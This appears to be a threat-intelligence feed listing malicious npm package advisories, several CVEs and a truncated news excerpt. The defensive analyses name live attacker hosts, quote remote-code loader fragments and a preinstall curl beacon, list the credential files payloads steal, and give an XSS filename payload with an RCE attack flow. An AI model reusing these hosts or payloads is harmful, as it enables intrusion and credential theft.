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3,635 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Malicious | – | MaliciousGCVE Database The npm package `testis-pack` presents itself as a small binary packing/checksum utility (`pack`/`unpack`/`checksum`/`inspect`) but embeds an obfuscated dropper. It declares a `preinstall: node index.js` hook. The strings for the C2 host, path and dropped-binary name are not present in plaintext — they are reconstructed at runtime via `String.fromCharCode()` calls over hardcoded integer arrays, decoding to the host `sloth-antagonist.vercel.app`, path `/service/assets/fetchBinary` (Windows) or `/service/assets/fetchLinuxBinary` (Linux), and destination filenames `WinService.exe` (Windows) / `WinMetrics` (Linux) written into `%LOCALAPPDATA%\Programs\WinMetrics` or `$HOME/.local/share/WinMetrics` respectively — names chosen to masquerade as a legitimate Windows telemetry/service binary. When triggered, the code downloads the file from `https://sloth-antagonist.vercel.app/service/assets/fetch(Linux)Binary`, `chmod`s it executable on Linux, then spawns it detached and unref'd (`stdio: 'ignore'`, `windowsHide: true` on Windows) so it runs silently in the background, disconnected from the parent process. The routine is skipped on macOS. Note on the trigger: unlike many install-hook droppers, the fetch-and-execute routine (`_fetch()`) is not invoked at the top level of `index.js` — there is no unconditional call anywhere in the module. It is instead called as the first statement inside the exported `pack()` function, so the bare `node index.js` invocation performed by the `preinstall` hook only defines and exports the functions without itself triggering the download. The dropper fires as a side effect the first time any downstream code calls the package's own `pack()` API — which is the package's entire ostensible purpose, making activation highly likely for any real consumer while still evading naive "executes immediately on install" detections. The package was published by npm user `ioa2102` (`anamora.les.24948@gmail.com`), which also published the near-identical `testudo-pack` (same payload, `postinstall` hook instead of `preinstall`). Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (96f8bc8284635b679a5ca943750a4d3386f73539e05352fd4cd6b0da5d01496f) package.json declares a preinstall hook (`node index.js`) that runs automatically on `npm install`. index.js assembles the destination host, URL path, and dropped filename from `String.fromCharCode` numeric arrays to hide them from string scanners; the reconstructed values are the host `sloth-antagonist.vercel.app` and paths `/service/assets/fetchBinary` (Windows) and `/service/assets/fetchLinuxBinary` (Linux). The script downloads the unpinned, unverified binary via `https.get(...).pipe(createWriteStream(dest))`, writing it to `%LOCALAPPDATA%\Programs\WinMetrics\WinService.exe` on Windows or `~/.local/share/WinMetrics/WinMetrics` on Linux — cover names that impersonate a Windows system component. The file is then `chmod 0755`ed and launched via `spawn(dest, [], { detached: true, stdio: 'ignore', windowsHide: true }).unref()`, so it survives the install process and runs silently in the background under the installing user's privileges. The exported `pack()` API triggers the same fetch-and-execute path on any call, so `require('testis-pack')` also delivers the payload. The dropped bytes are attacker-controlled and mutable at the host, giving the publisher open-ended remote code execution on every installer's machine. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package `nodemon-sudo` is a typosquat of the popular `nodemon` package: its `package.json` description ("Simple monitor script for use during development of a Node.js app."), `main` entry (`./lib/nodemon`), and forged `author` field (`Remy Sharp`, the real maintainer of `nodemon`) are copied from the legitimate project to appear trustworthy. It was published by npm user `conodeeth` (`coxhazelqja151@outlook.com`) as a single release, version 3.1.16, with no prior or subsequent versions. Its `package.json` declares `tslint-conf@^7.2.1` as a direct runtime dependency — a separately-tracked malicious package (see MAL-2026-7022) that itself masquerades as the `pino` logger and, when its default-exported middleware factory is invoked, spawns a detached background worker (`lib/caller.js`) that fetches attacker-controlled code from a Pinata IPFS gateway and executes it via `new Function.constructor('require', s)`, granting full filesystem and environment access. Static review of `nodemon-sudo`'s own source (all 27 JavaScript files in the published tarball, `lib/`, `bin/`, and root) found no `require('tslint-conf')` or other reference to it anywhere in the package's own code — `nodemon-sudo` itself does not declare an install hook and does not directly invoke the malicious dependency's trigger. Its role in the attack is to typosquat a high-download-count package name and force the known-malicious `tslint-conf` onto the dependency tree of anyone who installs it (a dependency-confusion / malicious-dependency-bundling distribution vector), positioning it for exploitation by any other code path in the victim's project that later requires and calls it. Per SafeDep's analysis, `nodemon-sudo` is linked to the `tslint-conf` supply-chain campaign (also distributed via the related, separately-tracked packages `nodemon-node` — MAL-2026-6957 — and `ts-await` — MAL-2026-6958), attributed with suspected North Korea-linked tradecraft (lookalike package names, jsonkeeper.com dead drops, JSON-field code execution via the `Function` constructor, and no reliance on install hooks). Full analysis: https://safedep.io/malicious-nodemon-sudo-tslint-conf-npm-backdoor/ Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ffc26c0e85db45d7e314fbce4140e9abda3f2eb0912cf1bd9259572a7b7d8f33) Package `nodemon-sudo` copies upstream `nodemon`'s identity — `package.json` reuses Remy Sharp as author, `https://nodemon.io` as homepage, and `github.com/remy/nodemon.git` as repository, and ships an essentially unmodified copy of nodemon's source. The `bin` entry is named `nodemon`, so a global install shadows the real `nodemon` CLI in the installer's PATH. The manifest additionally declares `tslint-conf` in `dependencies`, which is not part of upstream nodemon's dependency set and has no role in nodemon's runtime; installing `nodemon-sudo` therefore pulls this unrelated third-party package into the installer's node_modules. The package itself was not observed exfiltrating data, executing remote code at install time, or shipping a backdoor — the concern is name-confusion (a developer following a tutorial that suggests `sudo` may install this instead of `nodemon`), CLI hijack via the shared `nodemon` bin name, and the injection of an off-purpose dependency into downstream dependency graphs. ## Source: ghsa-malware (e6b941e7418bdecb5f25e70716d050d989137d1cc995e31de120799bb96aae0c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Critical | 9.3 | EPSS 0.5% | CVE-2026-54527jupyterlab-git · Cross-site Scripting Critical9.3EPSS 0.5%CVE Database V5CVE-2026-54527 Overview Amazon Web Services (AWS) Security has identified a stored cross-site scripting (XSS) issue in the jupyterlab-git JupyterLab extension that can lead to remote code execution (RCE). The issue exists in the PlainTextDiff.ts component, where the createHeader() method passes Git filenames directly to innerHTML without sanitization when rendering diffs for renamed files in commit history. This allows an adversary to craft a filename containing arbitrary HTML/JavaScript that executes when another user views the rename diff in the Git History tab. The issue can be leveraged through the rename history view in the JupyterLab Git panel. An adversary creates a file with a crafted filename containing a JavaScript payload (e.g., <img src=x onerror=eval(atob("base64_payload"))>.py), renames the file in a subsequent commit, and pushes to a shared repository. When a victim clones the repository, navigates to the Git History tab, clicks the rename commit, and then clicks the renamed file to view the diff, the unsanitized filename renders via innerHTML, executing arbitrary JavaScript in the victim's browser session. The injected JavaScript reads the xsrf cookie, opens a JupyterLab terminal via POST /api/terminals, connects via WebSocket, and executes arbitrary shell commands — achieving full RCE. An adversary can leverage this to exfiltrate secrets or credentials from the victim's environment. Scope of impact We discovered this issue during internal security testing. The issue is present in the default configuration of JupyterLab when the jupyterlab-git extension is installed. The attack requires: - The adversary to have commit access to a Git repository that the victim has cloned - The victim to navigate to the Git History tab, click the rename commit, and click the renamed file to view the diff The issue could allow an actor who has access to a shared Git repository to execute arbitrary JavaScript in another user's JupyterLab environment by committing a file with a crafted filename, potentially leading to remote code execution with access to user code, data, environment variables, and credentials. Proof of concept The issue exists in the createHeader() method where filenames from rename history are passed directly to innerHTML without sanitization: [1] https://github.com/jupyterlab/jupyterlab-git/blob/main/src/components/diff/PlainTextDiff.ts#L214 Attack flow: 1. An adversary creates a file with a crafted filename containing a JavaScript payload, e.g., <img src=x onerror=eval(atob("base64_payload"))>.py 2. The adversary renames the file in a subsequent commit and pushes both commits to a shared Git repository 3. The victim clones or pulls the repository and navigates to the Git History tab in JupyterLab 4. The victim clicks the rename commit, then clicks the renamed file to view the diff 5. The createHeader() method constructs a diff header using string concatenation with the unsanitized filename and assigns the result to innerHTML 6. The injected JavaScript executes in the victim's browser session, reads the _xsrf cookie, sends a POST request to /api/terminals to open a JupyterLab terminal, connects via WebSocket, and executes arbitrary shell commands Proof-of-concept mitigation The issue can be mitigated by replacing innerHTML with textContent for filename rendering in the createHeader() method of PlainTextDiff.ts. Alternatively, proper HTML sanitization (escaping <, >, &, ", ') can be applied before inserting user-controlled filenames into the DOM. | CVE Database V5 | ||
| High | 7.2 | EPSS 0.8% | CVE-2026-0288Palo Alto Networks PAN-OS · Out-of-bounds Write High7.2EPSS 0.8%CVE Database V5CVE-2026-0288 Multiple buffer overflow vulnerabilities in the User-ID Terminal Server Agent (TSA) component of Palo Alto Networks PAN-OS software allow an unauthenticated attacker with network access to cause a denial of service (DoS) condition or potentially execute arbitrary code by sending specially crafted network traffic. The security risk posed by this issue is minimized when the User-ID Terminal Server Agent connectivity is restricted to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://docs.paloaltonetworks.com/ngfw/help/10-2/user-identification/device-user-identification-terminal-services-agents#:~:text=To%20minimize%20security%20risk%2C%20restrict%20TS%20Agent%20connectivity%20to%20trusted%20internal%20IP%20addresses%20only. . Panorama is not impacted by this vulnerability. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (25594e7865a7525aebefd2f1fcc8060f144bf202b1986875e1cfd95564f66e88) crypto-promiser@1.0.1 is a typosquat of the legitimate crypto-promise package that ships a dropper in its lifecycle scripts. The declared postinstall runs prepinstall.js, which decodes a base64-hidden URL (aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1dEVDFI -> https://jsonkeeper.com/b/WDT1H) via atob, fetches JSON from that anonymous paste host with axios, and pipes the `.cache` field of the response into a detached `node` child process over stdin, executing attacker-controlled JavaScript on npm install. index.js also contains a top-level IIFE that dynamically imports./prepinstall.js, causing the same fetch-and-exec to fire when the package is require()d or imported. The package name is a single-character edit of crypto-promise and mirrors its API surface (hash, hmac, cipher, pbkdf2) as a lure. The remote payload host is anonymous and mutable, the destination is obfuscated behind base64, and executed bytes come from a non-registry third-party paste — arbitrary code execution on the installer machine at install time and at require time. ## Source: ghsa-malware (e30fe05ab2f65365185bab693328d0249c8a6dd2366359ffb1e7184d7d5a61e9) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (38236fbbdbbaa8f8ed9315c3a4ff01fbf049215896036b1cb68611681fe0eb00) chai-redirection presents itself as a chai assertion plugin but its main entry (index.js) unconditionally spawns a detached Node child process running lib/caller.js the moment the package is required. caller.js issues an HTTPS GET to https://www.jsonkeeper.com/b/PC5CK (a mutable pastebin-style host) and passes the response body's `cookie` field to `new Function('require', res.data.cookie)(require)`, executing attacker-controlled JavaScript in the installer's Node process with full `require` access. A secondary code path builds a URL from lib/config values, and on a 404 response whose body carries a `token` field, constructs `new Function.constructor('require', res.token)` and invokes it with `require` — a second remote-code-execution channel. The advertised chai plugin API (validJWT, safeString, etc.) is a cover story: the loader runs before any exports are used, so merely requiring this package as a chai plugin triggers remote code execution. The mutable pastebin source means today's payload can be replaced with anything at any time without republishing the package. ## Source: ghsa-malware (996d340e8231861ae21a30061eda3164b993e15bd08346375d8f886824b4fb6f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ce8dffb72c9f767cbd071bf482fce9acb1ff2283a4800b7862739348b7a89e24) Package @luminarycloudinternal/lcvis-st@9999.0.2 is published to the public npm registry under an internal-looking scope with an artificially high version number designed to outrank any legitimate internal release, so misconfigured installers resolve this public copy. On install, the postinstall.js script collects host and user identifiers (os.hostname(), os.userInfo().username, OS type/release/platform/arch), npm package name/version and user-agent, and CI/GitHub identifiers (CI, GITHUB_ACTIONS, GITHUB_REPOSITORY, RUNNER_NAME, GITHUB_SHA, GITHUB_REF, GITHUB_WORKFLOW), then sends them as query parameters via HTTPS GET to a hardcoded third-party endpoint at poc-luminary-npm-1782987043.testingboxes.com (postinstall.js line 34). The package self-labels as a Bugcrowd bounty canary, but the behavior — dependency-confusion scope/version combined with install-time transmission of installer identifiers to a hardcoded third-party host — is exfiltration for any installer other than the intended bounty target. ## Source: ghsa-malware (3c54509ad86f99f5d01258e1d660deca5eb908d09b71ea17446402ece2584746) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f73e9c228fc5188d602b213f2c6e7f88d6acbb4a9381667b7c33e4cb825aedf2) Package `higherlogic-ocfe@99.9.1` is a dependency-confusion lure targeting the Higher Logic vendor namespace. The published `index.js` is an empty `module.exports = {}` — the package ships no functionality. Its sole dependency is declared in `package.json` as a direct tarball URL (`https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.4.tgz`) rather than a registry-hosted version. On `npm install`, npm fetches that tarball from an arbitrary Google Cloud Storage bucket and executes any lifecycle scripts it contains on the installer's machine. The high version `99.9.1` is the standard dependency-confusion pattern used to override an internal private package of the same name during resolution, and the bucket path segment `depenconf` reinforces the attack intent. The installer cannot audit the fetched bytes via normal registry tooling, and the tarball contents are mutable at the bucket owner's discretion. ## Source: ghsa-malware (4ad1c3e1385f4524e8d0d34b8be29a99f4d3d80a03d8ce6196cad9e0a6cd4468) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (85a6f04cbf0697b6ae409fb9e5ad0e25812dac6a2f43bd95722f1903ee2f71f7) Package name `babel-eslint-parser-legacy` is a one-suffix confusion against the legitimate `babel-eslint-parser`. The package's own `main` is an empty stub, so it provides no functionality of its own. Its `package.json` declares a single runtime dependency `ltidisafe` pointing at a direct HTTPS tarball URL — `https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.8.tgz` — hosted on a Google Cloud Storage bucket unaffiliated with Babel and outside the npm registry. On `npm install`, npm fetches and installs the contents of that tarball into the installer's `node_modules`, executing any lifecycle scripts it declares. The tarball bytes are attacker-mutable (the bucket owner can swap contents at any time), are not subject to npm registry scanning, and are not pinned by integrity hash in the manifest. The typosquat name is the lure; the external-URL dependency is the smuggling vector for arbitrary attacker-controlled code into the installer's dependency tree. ## Source: ghsa-malware (94a62a47f0ac7d635081419dfabf152aa8965f114250a5f9dada6079bf432680) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (29c50b5a47dde18daf83760926662df3b9890de074cc00938de04892ac79a4d9) ag-charts-test@99.9.1 is a hollow package (empty index.js, no scripts, no documented functionality) whose sole effect on installers is resolving its single dependency `ltidisafe` from a direct HTTPS tarball URL on a third-party Google Cloud Storage bucket (`https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.9.tgz`) rather than through the npm registry. On `npm install`, the tarball is fetched from that bucket and its contents — including any lifecycle scripts — execute on the installer's machine. The bucket owner can mutate the tarball at any time, so the executed bytes are attacker-controlled. The package name mimics the AG Charts / AG Grid namespace and the inflated `99.9.1` version, combined with the `depenconf` path segment on the bucket URL, is the canonical dependency-confusion shape (outbidding an internal `ag-charts-*` name to force resolution of the attacker's package into a private build). No legitimate purpose is documented and the package ships no code of its own. ## Source: ghsa-malware (9075915150ed433ba9729068a51b48f233c3f5366b8fb5ace97015824510c3cc) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a0e8f566e285de1eec2c3cae07b0faaa8828080a4e1fed7e76e1fe43dfa571ec) Package presents as an internal-looking corporate tooling name ('visa-cli-tools') published at an inflated version (99.9.1) — the canonical dependency-confusion shape used to override a private-registry resolution with a public-npm entry. The package body is a hollow stub (index.js exports an empty object), so the package has no library utility; its only on-install effect is dependency resolution. package.json declares a single dependency 'ltidisafe' via a direct URL to a third-party Google Cloud Storage bucket (https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.2.tgz) rather than a registry name+semver. The URL path segment 'depenconf' explicitly labels the dependency-confusion technique. On `npm install`, the tarball is fetched from the bucket (outside registry review, mutable by the bucket owner at any time) and its contents enter the installer's dependency tree with normal install-time execution rights, including any lifecycle hooks in that tarball. The hollow lure + inflated version + name mimicking an internal namespace + external mutable tarball delivery jointly constitute a dependency-confusion dropper. ## Source: ghsa-malware (cac903d37a7aff709242fbacafae0484a4c42ebbf8856b6758777c75aec7fa63) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (58ed68e675b2b6cde30e6b7c8e34077eda805a4bde64ca7cd2c68c6f4370ee5f) Package published under a scope shadowing internal Luminary Cloud packages (@luminarycloudinternal) at version 9999.0.1 — the canonical dependency-confusion shape designed to win version resolution over a private internal package of the same name. On install, postinstall.js (line 8) performs an HTTPS GET to a hardcoded external host (poc-luminary-npm-1782987043.testingboxes.com) carrying installer-owned CI and host identifiers: GITHUB_REPOSITORY, GITHUB_SHA, GITHUB_REF, GITHUB_WORKFLOW, RUNNER_NAME, os.hostname(), and npm user-agent. When a build system misresolves the internal name to the public registry, this postinstall runs automatically and discloses internal repository, workflow, commit, and runner identifiers to a third-party endpoint. The package self-identifies as a Bugcrowd research canary, but self-labeling does not change the mechanism: installer-owned metadata leaves the machine at install time to a non-first-party destination via a namespace-squat. ## Source: ghsa-malware (9a690eb1bc2a09fccfb06b9531bbd7ec4da297737e700bd165096270b54c9995) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| –Not rated | – | Krebs on Security A cybersecurity startup dangling millions of dollars to acquire zero-day security vulnerabilities in popular software is run by a pair of far-right conspiracy theorists and convicted felons whose most recent ventures included fake intelligence companies and a now-defunct AI-based lobbying platform they operated under assumed names. The X/Twitter account IRIS C2 (@C2IRIS) has gained more than 4,000 followers since its creation in January 2025, posting frequently about security vulnerabilities, AI and software exploits. IRIS C2 says it is a company in McLean, Va. that sells offensive cybersecurity capabilities. The IRIS C2 website dangles the possibility of million-dollar payouts for exploits to attract talent. “Our business model is this,” reads a pinned post on top of the IRIS C2 account on X. “Attract the very best vulnerability researchers and exploit developers in the world to join our company. This mostly revolves around junior engineers with raw talent/extremely high IQ. We don’t care if they have a college degree/industry experience.” The website linked in that profile — irisc2[.]com — says the company is hiring for a number of open positions, and a recent post on its LinkedIn page enthuses about an overwhelming number of applications from potential employees. The website claims IRIS C2 is in the business of acquiring “zero-day exploits, individual primitives, partial chains, and full capabilities across all major platforms. Payouts range from $10,000 to $7 million depending on target, reliability, and operational value.” The government contracting portal g2exchange.com reports that irisc2[.]com is operated by a business based in Virginia called Calvexa Group LLC . The “contact” link on the website for Calvexa Group — calvexagroup[.]com — forwards visitors to irisc2[.]com. G2Exchange shows that while Calvexa Group LLC is registered as a federal contractor, it does not appear to be working on any direct government contracts. A search on the Arlington, Va. address listed in the incorporation records for Calvexa Group LLC finds the property is occupied by Jack Burkman , the 60-year-old founder and managing partner of the lobbying firm Burkman & Associates . When approached with questions about IRIS C2, Burkman referred further inquiries to his longtime associate, 28-year-old Jacob Wohl . Jack Burkman (left) and Jacob Wohl, at a press conference in August 2020. Image: Wikipedia. Burkman and Wohl have a storied history of creating fake intelligence companies and using them to spread false claims about and frame public figures, including fabricated sexual assault claims against then FBI director Robert Mueller , and Pete Buttigieg , then mayor of South Bend, Indiana and a Democratic candidate for the presidency. In 2019, Burkman and Wohl held press conferences falsely alleging extramarital affairs by Sen. Elizabeth Warren (D-Mass.) and then-2020 presidential candidate Kamala Harris . In the wake of the 2020 presidential election, Wohl and Burkman were prosecuted by multiple U.S. states for making thousands of robocalls to residents of battleground states and disseminating false claims about mail-in ballots. They were indicted in Cleveland on 15 felony counts of orchestrating a robocall scheme aimed at suppressing the black vote in Detroit, and were sentenced in late 2025 to probation after their appeals to dismiss the charges were rejected. In 2022, Wohl and Burkman both pleaded guilty to a single felony charge of telecommunications fraud in Ohio, and sentenced to a fine, probation, and community service. In March 2023, a judge in a New York civil case ruled that Wohl and Burkman had violated federal and state civil rights laws, and the two agreed to pay a $1 million settlement. In June 2023, the Federal Communications Commission (FCC) imposed a $5.1 million fine against Wohl and Burkman for their robocall campaigns, at the time the largest fine ever sought by the FCC under the Telephone Consumer Protection Act. Jacob “Jay” Wo… | Krebs on Security | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (41fd62df844e3fba17cb6200b0c9f2ce518a630677ed96f4cf0349b2a3eb7a3d) On `npm install`, the package's preinstall hook (`node index.js`) collects installer host identity — hostname, OS user info, output of `whoami` and `id`, shell, home directory, platform, and current working directory — and POSTs the JSON payload to a hardcoded Burp Collaborator subdomain at https://rsnchacyin4dnjv0oc8prrwn1e77vzjo.oastify.com/detox56. The package ships under an internal-looking scope (@vwfs-its) with empty author/description/license metadata and no functional code beyond the recon beacon, matching the shape of a targeted dependency-confusion attack: publish a public package that mirrors an internal name so that a misconfigured resolver in the target's build environment pulls the public copy and executes the payload during install. ## Source: ossf-package-analysis (2e08b57aacea0c5dcc883413eddf7737e7a45fa2c21bd5381d4e80235b3ef182) The OpenSSF Package Analysis project identified '@vwfs-its/sf-sac-frontend' @ 20.1.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c60743ac7b975c729e8ff8bd5310f71fce030efc3979f419f60e129921364ae7) package.json declares a preinstall lifecycle hook that runs `curl https://bt8hbz0owdan31qvdap2u5b8izoqcg05.oastify.com` on `npm install`. oastify.com is Burp Collaborator OAST infrastructure used to confirm code execution and capture the installer's public IP and DNS resolver metadata at an attacker-controlled listener. The package is otherwise a hollow stub (empty description, empty author, main is a one-line no-op printing 'Hello from test package'), and the package name impersonates the well-known GitLens project — matching the typosquat-with-reconnaissance-payload shape. Installing this package causes an unsolicited outbound HTTP/DNS callback that discloses installer network identifiers to a third party and confirms that arbitrary command execution succeeded on the installer's machine, enabling follow-on targeting. ## Source: ghsa-malware (6519d5b09c4c896667823eb772d5feffa5bc36e1ab63e382d8d7272a98422120) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (33742a75a392f62d009fb5213d109ecd6c51a155aa151cb8539539cb28aa2395) The OpenSSF Package Analysis project identified 'gitlens' @ 9.4.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9f9204782dfa050ba762ce8c8a35c01e9f7b1e8bf82e140854d182f9614080b6) vite-json-pwa@1.1.1 impersonates the legitimate vite-plugin-pwa package (author metadata claims 'inna voik' while funding/homepage point at the real vite-pwa/antfu project) and re-exports its API alongside an added `configField(...)` middleware factory. When a consumer invokes `configField` (the expected pattern for a drop-in vite-plugin-pwa replacement), it spawns a detached, stdio-ignored `node` child running `dist/client/dev/reactopt.js`. That helper uses axios to GET `https://www.jsonkeeper.com/b/J7GQS`, extracts a `Cookie` field from the JSON body, and executes it via `new Function('require', s)(require)` — arbitrary attacker-controlled Node code with full privileges in the developer/build process tree. The remote URL is disguised inside a fake local `process = { env: { DEV_API_KEY: 'https://www.jsonkeeper.com/b/J7GQS',... } }` object to make the hardcoded C2 look like an env-var lookup, and the file/export names ('reactopt.js', 'configField') are cover-story identifiers designed to blend into a legitimate-looking build. jsonkeeper.com is a mutable public paste service, so the payload can be swapped at any time. The detached spawn plus `stdio: 'ignore'` and a retry loop are chosen to hide execution and ensure delivery. ## Source: ghsa-malware (da660f2033a7177d94363a6e8df210ba23bb1fde45059eb74722d3dec56f0094) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 7.5 | EPSS 1.0% | High7.5EPSS 1.0%CVE Database V5CVE-2026-14244 The Jssor Slider by jssor.com plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.1.24 via the 'url' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ed72d8256a1831ef61f01d101c9b9de21db822516cb3b61d1fffd1ef7b3bb0c7) rio-design-tokens@99.99.100 is a dependency-confusion attack package. package.json declares `preinstall: node index.js`, so `npm install` auto-executes index.js, which harvests installer secrets and system data and POSTs them to an attacker-controlled oastify.com (Burp Collaborator) subdomain. Specifically, index.js collects `os.hostname()`, `os.userInfo()`, output of `whoami`/`id`/`pwd` (via `execSync` with curl and other commands), the contents of `~/.npmrc` and `~/.yarnrc` (which contain npm auth tokens), `package-lock.json`, `yarn.lock`, `/etc/os-release`, `/etc/hosts`, probes AWS IMDS, and reads a targeted env-var list including `NPM_TOKEN`, `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`, `GITHUB_TOKEN`, `GITLAB_CI`, and `CODEARTIFACT_AUTH_TOKEN`, then sends the aggregated payload via `https.request(... POST)` to `7v343wmb7yqwapwew87n2p4stjzbn4bt.oastify.com`. The package's own metadata self-identifies as "Dependency Confusion POC" with version 99.99.100 and author "YourName" — the canonical shape of a public-registry package intended to shadow a private internal package name during resolution. Installing this package on a developer workstation, CI runner, or build system will exfiltrate registry auth tokens, cloud credentials, and CI secrets to an external collaborator host. ## Source: ghsa-malware (f953c7dfe25e2d7da488167fee4e47d465f58bb2e45a0e52ccdba8f0ae267109) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (e83e18c7c88cb4c0e488342a49e4d0733087fa7e7ea7e833f1fbb6e8fbf5a35e) The OpenSSF Package Analysis project identified 'rio-design-tokens' @ 99.99.100 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| Critical | 9.6 | EPSS 0.4% | CVE-2026-53552Goploy · Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers Critical9.6EPSS 0.4%GCVE DatabaseCVE-2026-53552 A critical vulnerability (CVE-2026-53552) in github.com/zhenorzz/goploy versions up to 1.17.5 allows a user with the 'manager' role in their own namespace to perform unauthorized actions on projects across namespaces. The flaw is due to insufficient authorization checks on project and project-file row IDs supplied in request bodies, enabling cross-namespace Insecure Direct Object References (IDOR). This can lead to reading, modifying, or deleting files in any project, and changing a project's git remote URL, which escalates to remote code execution (RCE) on deployment. The issue is fixed in version 1.18.0. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (53a1fc3c42fcd64070dd50db1ed23a9f238bd10fea9bba087cb605f7419af28c) The package's `postinstall` script runs `node index.js` on install, which invokes `reportLoadedFrom` to POST installer-side data to a hardcoded Discord webhook (`discord.com/api/webhooks/1523336123319849031/...`). The transmitted payload includes the absolute filesystem path of the install location (which leaks the user's home directory / username), the Node.js version, and `process.platform`/`process.arch`. There is no disclosure, opt-in, or configuration surface — the destination is a fixed author-controlled channel. Package naming (`whs4_nmp`, internal default `whs4_typo`) and README framing (`typo 발생시 안내합니다`) indicate a dependency-confusion / typosquat probe designed to notify the author whenever a mistyped install lands on a real machine, harvesting host identifiers without consent. ## Source: ghsa-malware (05f2dab2e1b7ba48a8ac7e59bbaa32e72fe485b6ff9d28041becdde764394a06) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software 